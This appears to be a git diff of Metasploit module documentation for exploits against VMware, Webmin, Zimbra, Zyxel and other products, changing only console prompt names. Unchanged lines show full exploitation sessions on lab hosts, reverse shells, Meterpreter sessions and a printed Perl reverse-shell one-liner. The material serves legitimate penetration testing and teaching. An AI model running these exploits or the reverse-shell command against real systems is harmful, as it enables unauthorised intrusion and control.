FETCH_SRVHOST 192.168.1.67 FETCH_SRVHOST => 192.168.1.67 -msf6 exploit(linux/http/vmware_vrni_rce_cve_2023_20887) > options +msf exploit(linux/http/vmware_vrni_rce_cve_2023_20887) > options Module options (exploit/linux/http/vmware_vrni_rce_cve_2023_20887): @@ -114,7 +114,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/http/vmware_vrni_rce_cve_2023_20887) > rexploit +msf exploit(linux/http/vmware_vrni_rce_cve_2023_20887) > rexploit [*] Reloading module... [*] Started reverse TCP handler on 192.168.1.67:4444 diff --git a/documentation/modules/exploit/linux/http/vmware_vrops_mgr_ssrf_rce.md b/documentation/modules/exploit/linux/http/vmware_vrops_mgr_ssrf_rce.md index 256919648936b..1ddfd07bf68f5 100644 --- a/documentation/modules/exploit/linux/http/vmware_vrops_mgr_ssrf_rce.md +++ b/documentation/modules/exploit/linux/http/vmware_vrops_mgr_ssrf_rce.md @@ -51,9 +51,9 @@ Follow [Setup](#setup) and [Scenarios](#scenarios). ### vRealize Operations Manager 8.0.1 ``` -msf6 > use exploit/linux/http/vmware_vrops_mgr_ssrf_rce +msf > use exploit/linux/http/vmware_vrops_mgr_ssrf_rce [*] Using configured payload java/jsp_shell_reverse_tcp -msf6 exploit(linux/http/vmware_vrops_mgr_ssrf_rce) > options +msf exploit(linux/http/vmware_vrops_mgr_ssrf_rce) > options Module options (exploit/linux/http/vmware_vrops_mgr_ssrf_rce): @@ -87,13 +87,13 @@ Exploit target: 0 vRealize Operations Manager < 8.3.0 -msf6 exploit(linux/http/vmware_vrops_mgr_ssrf_rce) > set rhosts 192.168.123.185 +msf exploit(linux/http/vmware_vrops_mgr_ssrf_rce) > set rhosts 192.168.123.185 rhosts => 192.168.123.185 -msf6 exploit(linux/http/vmware_vrops_mgr_ssrf_rce) > set lhost 192.168.123.1 +msf exploit(linux/http/vmware_vrops_mgr_ssrf_rce) > set lhost 192.168.123.1 lhost => 192.168.123.1 -msf6 exploit(linux/http/vmware_vrops_mgr_ssrf_rce) > set verbose true +msf exploit(linux/http/vmware_vrops_mgr_ssrf_rce) > set verbose true verbose => true -msf6 exploit(linux/http/vmware_vrops_mgr_ssrf_rce) > run +msf exploit(linux/http/vmware_vrops_mgr_ssrf_rce) > run [*] Started reverse TCP handler on 192.168.123.1:4444 [*] Starting SSRF server... diff --git a/documentation/modules/exploit/linux/http/vmware_workspace_one_access_cve_2022_22954.md b/documentation/modules/exploit/linux/http/vmware_workspace_one_access_cve_2022_22954.md index a09a0d209a45e..062129278be9c 100644 --- a/documentation/modules/exploit/linux/http/vmware_workspace_one_access_cve_2022_22954.md +++ b/documentation/modules/exploit/linux/http/vmware_workspace_one_access_cve_2022_22954.md @@ -21,9 +21,9 @@ Follow [Setup](#setup) and [Scenarios](#scenarios). ### VMware Workspace ONE Access 21.08.0.1 ``` -msf6 > use exploit/linux/http/vmware_workspace_one_access_cve_2022_22954 +msf > use exploit/linux/http/vmware_workspace_one_access_cve_2022_22954 [*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp -msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > options +msf exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > options Module options (exploit/linux/http/vmware_workspace_one_access_cve_2022_22954): @@ -55,15 +55,15 @@ Exploit target: 0 Unix Command -msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > set rhosts 192.168.0.5 +msf exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > set rhosts 192.168.0.5 rhosts => 192.168.0.5 -msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > set lhost 192.168.0.4 +msf exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > set lhost 192.168.0.4 lhost => 192.168.0.4 -msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > set reverselistenerbindaddress 127.0.0.1 +msf exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > set reverselistenerbindaddress 127.0.0.1 reverselistenerbindaddress => 127.0.0.1 -msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > set verbose true +msf exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > set verbose true verbose => true -msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > run +msf exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > run [*] Started reverse TCP handler on 127.0.0.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain.md b/documentation/modules/exploit/linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain.md index 4e9d381bb8545..8f12ea6506aa3 100644 --- a/documentation/modules/exploit/linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain.md +++ b/documentation/modules/exploit/linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain.md @@ -73,11 +73,11 @@ Select Database ## Scenarios ### VMware Identity Manager 21.08.0.1-19010796 ``` -msf6 exploit(linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain) > set rhosts 192.168.123.16 +msf exploit(linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain) > set rhosts 192.168.123.16 rhosts => 192.168.123.16 -msf6 exploit(linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain) > set lhost 192.168.123.1 +msf exploit(linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain) > set lhost 192.168.123.1 lhost => 192.168.123.1 -msf6 exploit(linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain) > run +msf exploit(linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain) > run [*] Started reverse TCP handler on 192.168.123.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -102,9 +102,9 @@ meterpreter > exit [*] Shutting down Meterpreter... [*] 192.168.123.16 - Meterpreter session 1 closed. Reason: Died -msf6 exploit(linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain) > set target 1 +msf exploit(linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain) > set target 1 target => 1 -msf6 exploit(linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain) > run +msf exploit(linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain) > run [*] Started reverse TCP handler on 192.168.123.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/watchguard_firebox_unauth_rce_cve_2022_26318.md b/documentation/modules/exploit/linux/http/watchguard_firebox_unauth_rce_cve_2022_26318.md index b7582a50788c2..707dde7a7504c 100644 --- a/documentation/modules/exploit/linux/http/watchguard_firebox_unauth_rce_cve_2022_26318.md +++ b/documentation/modules/exploit/linux/http/watchguard_firebox_unauth_rce_cve_2022_26318.md @@ -33,7 +33,7 @@ You are now ready to test the module. you should get a `interactive python shell` . ```shell -msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > options +msf exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > options Module options (exploit/linux/http/watchguard_firebox_unauth_rce_cve_2022_26318): @@ -73,11 +73,11 @@ Please set the `SHELL` option to `/usr/bin/python` becuase this is the only shel ## Scenarios ### Watchguard Firebox Automatic - cmd/unix/reverse_python ```shell -msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > set rhosts 192.168.201.24 +msf exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > set rhosts 192.168.201.24 rhosts => 192.168.201.24 -msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > set lhost 192.168.201.8 +msf exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > set lhost 192.168.201.8 lhost => 192.168.201.8 -msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > exploit +msf exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/wd_mycloud_unauthenticated_cmd_injection.md b/documentation/modules/exploit/linux/http/wd_mycloud_unauthenticated_cmd_injection.md index ace77343ae658..2431ecad41543 100644 --- a/documentation/modules/exploit/linux/http/wd_mycloud_unauthenticated_cmd_injection.md +++ b/documentation/modules/exploit/linux/http/wd_mycloud_unauthenticated_cmd_injection.md @@ -52,7 +52,7 @@ Id Name ## Scenarios ### Western Digital MyCloud 2.30.183 - Unix In-Memory ``` -msf6 exploit(linux/http/wd_mycloud_unauthenticated_cmd_injection) > options +msf exploit(linux/http/wd_mycloud_unauthenticated_cmd_injection) > options Module options (exploit/linux/http/wd_mycloud_unauthenticated_cmd_injection): @@ -94,7 +94,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/http/wd_mycloud_unauthenticated_cmd_injection) > run +msf exploit(linux/http/wd_mycloud_unauthenticated_cmd_injection) > run [*] Started reverse TCP handler on 10.10.10.18:6000 [*] Running automatic check ("set AutoCheck false" to disable) @@ -119,7 +119,7 @@ head /usr/local/config/config.xml ``` ### Western Digital MyCloud 2.30.183 - Linux Dropper ``` -msf6 exploit(linux/http/wd_mycloud_unauthenticated_cmd_injection) > options +msf exploit(linux/http/wd_mycloud_unauthenticated_cmd_injection) > options Module options (exploit/linux/http/wd_mycloud_unauthenticated_cmd_injection): @@ -161,7 +161,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/http/wd_mycloud_unauthenticated_cmd_injection) > run +msf exploit(linux/http/wd_mycloud_unauthenticated_cmd_injection) > run [*] Started reverse TCP handler on 10.10.10.18:6001 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/webmin_backdoor.md b/documentation/modules/exploit/linux/http/webmin_backdoor.md index 6ae95ce3f7eaf..687edb4575ad2 100644 --- a/documentation/modules/exploit/linux/http/webmin_backdoor.md +++ b/documentation/modules/exploit/linux/http/webmin_backdoor.md @@ -78,7 +78,7 @@ Set this to `true` to override the `check` result during exploitation. ## Usage ``` -msf5 exploit(linux/http/webmin_backdoor) > run +msf exploit(linux/http/webmin_backdoor) > run [*] Started reverse TCP handler on 172.28.128.1:4444 [*] Webmin 1.890 detected @@ -95,9 +95,9 @@ uname -a Linux ubuntu-xenial 4.4.0-141-generic #167-Ubuntu SMP Wed Dec 5 10:40:15 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux ^Z Background session 1? [y/N] y -msf5 exploit(linux/http/webmin_backdoor) > set target 1 +msf exploit(linux/http/webmin_backdoor) > set target 1 target => 1 -msf5 exploit(linux/http/webmin_backdoor) > run +msf exploit(linux/http/webmin_backdoor) > run [*] Started reverse TCP handler on 172.28.128.1:4444 [*] Webmin 1.890 detected diff --git a/documentation/modules/exploit/linux/http/webmin_file_manager_rce.md b/documentation/modules/exploit/linux/http/webmin_file_manager_rce.md index e1f6e3d40826b..0584955093178 100644 --- a/documentation/modules/exploit/linux/http/webmin_file_manager_rce.md +++ b/documentation/modules/exploit/linux/http/webmin_file_manager_rce.md @@ -33,17 +33,17 @@ A specific password to authenticate with ### Webmin 1.984, on Ubuntu 20.04 ``` -msf6 > exploit/linux/http/webmin_file_manager_rce +msf > exploit/linux/http/webmin_file_manager_rce [*] Using exploit/linux/http/webmin_file_manager_rce -msf6 exploit(linux/http/webmin_file_manager_rce) > set password notpassword +msf exploit(linux/http/webmin_file_manager_rce) > set password notpassword password => notpassword -msf6 exploit(linux/http/webmin_file_manager_rce) > set lhost 172.16.199.1 +msf exploit(linux/http/webmin_file_manager_rce) > set lhost 172.16.199.1 lhost => 172.16.199.1 -msf6 exploit(linux/http/webmin_file_manager_rce) > set rhosts 172.16.199.132 +msf exploit(linux/http/webmin_file_manager_rce) > set rhosts 172.16.199.132 rhosts => 172.16.199.132 -msf6 exploit(linux/http/webmin_file_manager_rce) > set username msfuser +msf exploit(linux/http/webmin_file_manager_rce) > set username msfuser username => msfuser -msf6 exploit(linux/http/webmin_file_manager_rce) > run +msf exploit(linux/http/webmin_file_manager_rce) > run [*] Started reverse TCP handler on 172.16.199.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/webmin_package_updates_rce.md b/documentation/modules/exploit/linux/http/webmin_package_updates_rce.md index 17c144f1fbd82..367656f90ff92 100644 --- a/documentation/modules/exploit/linux/http/webmin_package_updates_rce.md +++ b/documentation/modules/exploit/linux/http/webmin_package_updates_rce.md @@ -54,7 +54,7 @@ The account password. ### Webmin 1.996 on Ubuntu 18.04 - Target 0 (`Unix In-Memory`) ``` -msf6 exploit(linux/http/webmin_package_updates_rce) > run lhost=192.168.0.2 verbose=true rhosts=192.168.0.23 username=msfuser password=123456 +msf exploit(linux/http/webmin_package_updates_rce) > run lhost=192.168.0.2 verbose=true rhosts=192.168.0.23 username=msfuser password=123456 [+] perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"192.168.0.2:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};' [*] Started reverse TCP handler on 192.168.0.2:4444 @@ -76,7 +76,7 @@ Ubuntu 18.04.6 LTS \n \l - Target 1 (`Linux Dropper`) ``` -msf6 exploit(linux/http/webmin_package_updates_rce) > run lhost=192.168.0.2 verbose=true rhosts=192.168.0.23 username=msfuser password=123456 +msf exploit(linux/http/webmin_package_updates_rce) > run lhost=192.168.0.2 verbose=true rhosts=192.168.0.23 username=msfuser password=123456 [*] Started reverse TCP handler on 192.168.0.2:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/webmin_packageup_rce.md b/documentation/modules/exploit/linux/http/webmin_packageup_rce.md index 06fd7b717a2fd..f4704f1c23761 100644 --- a/documentation/modules/exploit/linux/http/webmin_packageup_rce.md +++ b/documentation/modules/exploit/linux/http/webmin_packageup_rce.md @@ -20,23 +20,23 @@ This module has been tested with [Webmin 1.910](https://sourceforge.net/projects ### Tested Webmin 1.910 on Debian Linux 4.19.28-2kali1 x64 ``` -msf5 > -msf5 > use exploit/linux/http/webmin_packageup_rce -msf5 exploit(linux/http/webmin_packageup_rce) > set RHOSTS 192.168.1.9 +msf > +msf > use exploit/linux/http/webmin_packageup_rce +msf exploit(linux/http/webmin_packageup_rce) > set RHOSTS 192.168.1.9 RHOSTS => 192.168.1.9 -msf5 exploit(linux/http/webmin_packageup_rce) > set PAYLOAD cmd/unix/reverse_python +msf exploit(linux/http/webmin_packageup_rce) > set PAYLOAD cmd/unix/reverse_python PAYLOAD => cmd/unix/reverse_python -msf5 exploit(linux/http/webmin_packageup_rce) > set LHOST 192.168.1.12 +msf exploit(linux/http/webmin_packageup_rce) > set LHOST 192.168.1.12 LHOST => 192.168.1.12 -msf5 exploit(linux/http/webmin_packageup_rce) > set USERNAME rce +msf exploit(linux/http/webmin_packageup_rce) > set USERNAME rce USERNAME => rce -msf5 exploit(linux/http/webmin_packageup_rce) > set PASSWORD password +msf exploit(linux/http/webmin_packageup_rce) > set PASSWORD password PASSWORD => password -msf5 exploit(linux/http/webmin_packageup_rce) > check +msf exploit(linux/http/webmin_packageup_rce) > check [*] NICE! rce has the right to >>Package Update<< [+] 192.168.1.9:10000 - The target is vulnerable. -msf5 exploit(linux/http/webmin_packageup_rce) > exploit +msf exploit(linux/http/webmin_packageup_rce) > exploit [*] Started reverse TCP handler on 192.168.1.12:4444 [+] Session cookie: 1947b5dfd62403b8f1f58f497e88b1e5 diff --git a/documentation/modules/exploit/linux/http/wepresent_cmd_injection.md b/documentation/modules/exploit/linux/http/wepresent_cmd_injection.md index ceb0ff2a35108..4f88bd9c1495b 100644 --- a/documentation/modules/exploit/linux/http/wepresent_cmd_injection.md +++ b/documentation/modules/exploit/linux/http/wepresent_cmd_injection.md @@ -35,14 +35,14 @@ The following devices are known to be affected by this issue: #### Meterpreter ``` -msf5 > use exploit/linux/http/wepresent_cmd_injection -msf5 exploit(linux/http/wepresent_cmd_injection) > set RHOSTS 10.12.70.246 +msf > use exploit/linux/http/wepresent_cmd_injection +msf exploit(linux/http/wepresent_cmd_injection) > set RHOSTS 10.12.70.246 RHOSTS => 10.12.70.246 -msf5 exploit(linux/http/wepresent_cmd_injection) > set LHOST 10.12.70.238 +msf exploit(linux/http/wepresent_cmd_injection) > set LHOST 10.12.70.238 LHOST => 10.12.70.238 -msf5 exploit(linux/http/wepresent_cmd_injection) > check +msf exploit(linux/http/wepresent_cmd_injection) > check [+] 10.12.70.246:443 - The target is vulnerable. -msf5 exploit(linux/http/wepresent_cmd_injection) > run +msf exploit(linux/http/wepresent_cmd_injection) > run [*] Started reverse TCP handler on 10.12.70.238:4444 [*] Command Stager progress - 9.95% done (127/1276 bytes) @@ -69,18 +69,18 @@ Linux Crestron.AirMedia-1.1.wm8750 2.6.32.9-default #30 Wed Jul 12 13:56:45 CST #### Busybox/Telnetd Bind Shell ``` -msf5 > use exploit/linux/http/wepresent_cmd_injection -msf5 exploit(linux/http/wepresent_cmd_injection) > set target 0 +msf > use exploit/linux/http/wepresent_cmd_injection +msf exploit(linux/http/wepresent_cmd_injection) > set target 0 target => 0 -msf5 exploit(linux/http/wepresent_cmd_injection) > set payload cmd/unix/bind_busybox_telnetd +msf exploit(linux/http/wepresent_cmd_injection) > set payload cmd/unix/bind_busybox_telnetd payload => cmd/unix/bind_busybox_telnetd -msf5 exploit(linux/http/wepresent_cmd_injection) > set RHOSTS 10.12.70.246 +msf exploit(linux/http/wepresent_cmd_injection) > set RHOSTS 10.12.70.246 RHOSTS => 10.12.70.246 -msf5 exploit(linux/http/wepresent_cmd_injection) > set LHOST 10.12.70.238 +msf exploit(linux/http/wepresent_cmd_injection) > set LHOST 10.12.70.238 LHOST => 10.12.70.238 -msf5 exploit(linux/http/wepresent_cmd_injection) > check +msf exploit(linux/http/wepresent_cmd_injection) > check [+] 10.12.70.246:443 - The target is vulnerable. -msf5 exploit(linux/http/wepresent_cmd_injection) > run +msf exploit(linux/http/wepresent_cmd_injection) > run [*] Started bind TCP handler against 10.12.70.246:4444 [*] Command shell session 1 opened (10.12.70.238:41457 -> 10.12.70.246:4444) at 2020-01-09 05:56:36 -0500 diff --git a/documentation/modules/exploit/linux/http/zimbra_cpio_cve_2022_41352.md b/documentation/modules/exploit/linux/http/zimbra_cpio_cve_2022_41352.md index 318c44e5a5ab4..ed4b8bf8b6cb4 100644 --- a/documentation/modules/exploit/linux/http/zimbra_cpio_cve_2022_41352.md +++ b/documentation/modules/exploit/linux/http/zimbra_cpio_cve_2022_41352.md @@ -123,13 +123,13 @@ The frequency with which to check for the payload on the server. Every To exploit Zimbra, first load the module and generate the .tar file: ``` -msf6 > use exploit/linux/http/zimbra_cpio_cve_2022_41352 +msf > use exploit/linux/http/zimbra_cpio_cve_2022_41352 [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/http/zimbra_cpio_cve_2022_41352) > set LHOST 172.16.166.147 +msf exploit(linux/http/zimbra_cpio_cve_2022_41352) > set LHOST 172.16.166.147 LHOST => 172.16.166.147 -msf6 exploit(linux/http/zimbra_cpio_cve_2022_41352) > set RHOSTS 172.16.166.158 +msf exploit(linux/http/zimbra_cpio_cve_2022_41352) > set RHOSTS 172.16.166.158 RHOSTS => 172.16.166.158 -msf6 exploit(linux/http/zimbra_cpio_cve_2022_41352) > exploit +msf exploit(linux/http/zimbra_cpio_cve_2022_41352) > exploit [*] Exploit running as background job 0. [*] Started reverse TCP handler on 172.16.166.147:4444 [*] Encoding the payload as a .jsp file @@ -156,7 +156,7 @@ malicious file extracted and get a session: [*] Sending stage (3045348 bytes) to 172.16.166.158 [*] Meterpreter session 1 opened (172.16.166.147:4444 -> 172.16.166.158:44808) at 2022-10-06 10:27:34 -0700 -msf6 exploit(linux/http/zimbra_cpio_cve_2022_41352) > sessions -i 1 +msf exploit(linux/http/zimbra_cpio_cve_2022_41352) > sessions -i 1 [*] Starting interaction with 1... meterpreter > getuid @@ -166,13 +166,13 @@ Server username: zimbra For bonus points, use a different module to get root: ``` -msf6 exploit(linux/http/zimbra_cpio_cve_2022_41352) > use exploit/linux/local/zimbra_slapper_priv_esc +msf exploit(linux/http/zimbra_cpio_cve_2022_41352) > use exploit/linux/local/zimbra_slapper_priv_esc [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/local/zimbra_slapper_priv_esc) > set SESSION 1 +msf exploit(linux/local/zimbra_slapper_priv_esc) > set SESSION 1 SESSION => 1 -msf6 exploit(linux/local/zimbra_slapper_priv_esc) > exploit +msf exploit(linux/local/zimbra_slapper_priv_esc) > exploit [*] Started reverse TCP handler on 172.16.166.147:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/zimbra_mboximport_cve_2022_27925.md b/documentation/modules/exploit/linux/http/zimbra_mboximport_cve_2022_27925.md index 2629d00390b78..cc483fc0609b7 100644 --- a/documentation/modules/exploit/linux/http/zimbra_mboximport_cve_2022_27925.md +++ b/documentation/modules/exploit/linux/http/zimbra_mboximport_cve_2022_27925.md @@ -31,13 +31,13 @@ To set the server up: Once the server is up, it's vulnerable. ``` -msf6 > use exploit/linux/http/zimbra_mboximport_cve_2022_27925 +msf > use exploit/linux/http/zimbra_mboximport_cve_2022_27925 [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/http/zimbra_mboximport_cve_2022_27925) > set RHOSTS 10.0.0.166 +msf exploit(linux/http/zimbra_mboximport_cve_2022_27925) > set RHOSTS 10.0.0.166 RHOSTS => 10.0.0.166 -msf6 exploit(linux/http/zimbra_mboximport_cve_2022_27925) > set LHOST 10.0.0.146 +msf exploit(linux/http/zimbra_mboximport_cve_2022_27925) > set LHOST 10.0.0.146 LHOST => 10.0.0.146 -msf6 exploit(linux/http/zimbra_mboximport_cve_2022_27925) > exploit +msf exploit(linux/http/zimbra_mboximport_cve_2022_27925) > exploit [*] Started reverse TCP handler on 10.0.0.146:4444 [*] Encoding the payload as a .jsp file @@ -55,7 +55,7 @@ quite a bit older), so attempts to exploit patched versions will likely result i that the target may not vulnerable: ``` -msf6 exploit(linux/http/zimbra_mboximport_cve_2022_27925) > exploit +msf exploit(linux/http/zimbra_mboximport_cve_2022_27925) > exploit [*] Started reverse TCP handler on 10.0.0.146:4444 [*] Encoding the payload as a .jsp file @@ -96,13 +96,13 @@ The username included in the `mboximport` request - any valid username works, `a ### Zimbra Collaboration Suite Network Edition 8.8.12 Patch 6 on Ubuntu 18.04 ``` -msf6 > use exploit/linux/http/zimbra_mboximport_cve_2022_27925 +msf > use exploit/linux/http/zimbra_mboximport_cve_2022_27925 [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/http/zimbra_mboximport_cve_2022_27925) > set RHOSTS 10.0.0.166 +msf exploit(linux/http/zimbra_mboximport_cve_2022_27925) > set RHOSTS 10.0.0.166 RHOSTS => 10.0.0.166 -msf6 exploit(linux/http/zimbra_mboximport_cve_2022_27925) > set LHOST 10.0.0.146 +msf exploit(linux/http/zimbra_mboximport_cve_2022_27925) > set LHOST 10.0.0.146 LHOST => 10.0.0.146 -msf6 exploit(linux/http/zimbra_mboximport_cve_2022_27925) > show options +msf exploit(linux/http/zimbra_mboximport_cve_2022_27925) > show options Module options (exploit/linux/http/zimbra_mboximport_cve_2022_27925): @@ -132,7 +132,7 @@ Exploit target: -- ---- 0 Zimbra Collaboration Suite -msf6 exploit(linux/http/zimbra_mboximport_cve_2022_27925) > exploit +msf exploit(linux/http/zimbra_mboximport_cve_2022_27925) > exploit [*] Started reverse TCP handler on 10.0.0.146:4444 [*] Encoding the payload as a .jsp file @@ -159,13 +159,13 @@ Release 8.8.12.GA.3794.UBUNTU18.64 UBUNTU18_64 NETWORK edition, Patch 8.8.12_P6. Note: This version is not vulnerable, because the issue is patched ``` -msf6 > use exploit/linux/http/zimbra_mboximport_cve_2022_27925 +msf > use exploit/linux/http/zimbra_mboximport_cve_2022_27925 [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/http/zimbra_mboximport_cve_2022_27925) > set RHOSTS 10.0.0.167 +msf exploit(linux/http/zimbra_mboximport_cve_2022_27925) > set RHOSTS 10.0.0.167 RHOSTS => 10.0.0.167 -msf6 exploit(linux/http/zimbra_mboximport_cve_2022_27925) > set LHOST 10.0.0.146 +msf exploit(linux/http/zimbra_mboximport_cve_2022_27925) > set LHOST 10.0.0.146 LHOST => 10.0.0.146 -msf6 exploit(linux/http/zimbra_mboximport_cve_2022_27925) > exploit +msf exploit(linux/http/zimbra_mboximport_cve_2022_27925) > exploit [*] Started reverse TCP handler on 10.0.0.146:4444 [*] Encoding the payload as a .jsp file @@ -182,13 +182,13 @@ msf6 exploit(linux/http/zimbra_mboximport_cve_2022_27925) > exploit Note: This version is not vulnerable, the open source edition doesn't have the correct path. ``` -msf6 > use exploit/linux/http/zimbra_mboximport_cve_2022_27925 +msf > use exploit/linux/http/zimbra_mboximport_cve_2022_27925 [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/http/zimbra_mboximport_cve_2022_27925) > set RHOSTS 10.0.0.164 +msf exploit(linux/http/zimbra_mboximport_cve_2022_27925) > set RHOSTS 10.0.0.164 RHOSTS => 10.0.0.164 -msf6 exploit(linux/http/zimbra_mboximport_cve_2022_27925) > set LHOST 10.0.0.146 +msf exploit(linux/http/zimbra_mboximport_cve_2022_27925) > set LHOST 10.0.0.146 LHOST => 10.0.0.146 -msf6 exploit(linux/http/zimbra_mboximport_cve_2022_27925) > exploit +msf exploit(linux/http/zimbra_mboximport_cve_2022_27925) > exploit [*] Started reverse TCP handler on 10.0.0.146:4444 [*] Encoding the payload as a .jsp file diff --git a/documentation/modules/exploit/linux/http/zimbra_unrar_cve_2022_30333.md b/documentation/modules/exploit/linux/http/zimbra_unrar_cve_2022_30333.md index c41be08750968..fadfed18293ca 100644 --- a/documentation/modules/exploit/linux/http/zimbra_unrar_cve_2022_30333.md +++ b/documentation/modules/exploit/linux/http/zimbra_unrar_cve_2022_30333.md @@ -31,13 +31,13 @@ Followed by specifically installing the vulnerable version of `unrar` linked abo To exploit Zimbra, first load the module and generate the .rar file: ``` -msf6 > use exploit/linux/http/zimbra_unrar_cve_2022_30333 +msf > use exploit/linux/http/zimbra_unrar_cve_2022_30333 [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) > set LHOST 10.0.0.146 +msf exploit(linux/http/zimbra_unrar_cve_2022_30333) > set LHOST 10.0.0.146 LHOST => 10.0.0.146 -msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) > set RHOSTS 10.0.0.154 +msf exploit(linux/http/zimbra_unrar_cve_2022_30333) > set RHOSTS 10.0.0.154 RHOSTS => 10.0.0.154 -msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) > exploit +msf exploit(linux/http/zimbra_unrar_cve_2022_30333) > exploit [*] Started reverse TCP handler on 10.0.0.146:4444 [*] Encoding the payload as a .jsp file diff --git a/documentation/modules/exploit/linux/http/zimbra_xxe_rce.md b/documentation/modules/exploit/linux/http/zimbra_xxe_rce.md index 32c77f26fe261..e0dbde29a045f 100644 --- a/documentation/modules/exploit/linux/http/zimbra_xxe_rce.md +++ b/documentation/modules/exploit/linux/http/zimbra_xxe_rce.md @@ -23,7 +23,7 @@ Zimbra Collaboration Suite v8.5 to v8.7.11. ### Zimbra 8.7.1 GA 1670 FOSS edition Tested on Ubuntu 16.04.6 LTS ``` -msf5 exploit(linux/http/zimbra_xxe_rce) > exploit +msf exploit(linux/http/zimbra_xxe_rce) > exploit [*] Started reverse TCP handler on 172.22.222.136:4444 [*] Using URL: http://0.0.0.0:8080/2tQ75DxRvaeGRSP diff --git a/documentation/modules/exploit/linux/http/zyxel_lfi_unauth_ssh_rce.md b/documentation/modules/exploit/linux/http/zyxel_lfi_unauth_ssh_rce.md index bfeb0a02c0064..7cfff5fba6f11 100644 --- a/documentation/modules/exploit/linux/http/zyxel_lfi_unauth_ssh_rce.md +++ b/documentation/modules/exploit/linux/http/zyxel_lfi_unauth_ssh_rce.md @@ -46,7 +46,7 @@ Option `ConnectTimeout` where you can specify the maximum number of seconds to e ### Zyxel router VMG3625-T20A - Netcat reverse shell ``` -msf6 exploit(linux/http/zyxel_lfi_unauth_ssh_rce) > options +msf exploit(linux/http/zyxel_lfi_unauth_ssh_rce) > options Module options (exploit/linux/http/zyxel_lfi_unauth_ssh_rce): @@ -90,9 +90,9 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/http/zyxel_lfi_unauth_ssh_rce) > set target 0 +msf exploit(linux/http/zyxel_lfi_unauth_ssh_rce) > set target 0 target => 0 -msf6 exploit(linux/http/zyxel_lfi_unauth_ssh_rce) > exploit +msf exploit(linux/http/zyxel_lfi_unauth_ssh_rce) > exploit [*] Started reverse TCP handler on 192.168.1.2:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -113,14 +113,14 @@ uid=12(supervisor) gid=12 groups=12 exit [*] 192.168.1.1 - Command shell session 1 closed. -msf6 exploit(linux/http/zyxel_lfi_unauth_ssh_rce) +msf exploit(linux/http/zyxel_lfi_unauth_ssh_rce) ``` ### Zyxel router VMG3625-T20A - Linux Dropper Meterpreter session ``` -msf6 exploit(linux/http/zyxel_lfi_unauth_ssh_rce) > set target 1 +msf exploit(linux/http/zyxel_lfi_unauth_ssh_rce) > set target 1 target => 1 -msf6 exploit(linux/http/zyxel_lfi_unauth_ssh_rce) > exploit +msf 